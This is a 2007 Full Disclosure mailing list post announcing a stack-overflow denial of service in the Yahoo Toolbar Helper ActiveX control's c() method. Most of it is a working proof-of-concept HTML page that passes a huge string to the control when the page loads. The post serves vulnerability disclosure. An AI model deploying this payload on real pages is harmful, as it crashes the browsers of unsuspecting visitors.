Full Disclosure mailing list archives

Yahoo Toolbar Helper c() Method Stack Overflow DoS

From: Elazar Broad <elazarb () earthlink net>
Date: Thu, 29 Nov 2007 22:56:46 -0500 (GMT-05:00)

There is a stack overflow in the c() method of the Yahoo Toobar Helper class. This overflow does not appear to get 
anywhere near the EIP or SEH. PoC as follows:

----------------------
<!--
 written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
    var s = "AAAA";

     while (s.length < 999999) s=s+s;

     var obj = new ActiveXObject("yt.ythelper.2"); //{02478D38-C3F9-4EFB-9B51-7695ECA05670}
      obj.c(s);
   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">
 </body>
</html>
----------------------

Elazar

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread:

Yahoo Toolbar Helper c() Method Stack Overflow DoS Elazar Broad (Nov 30)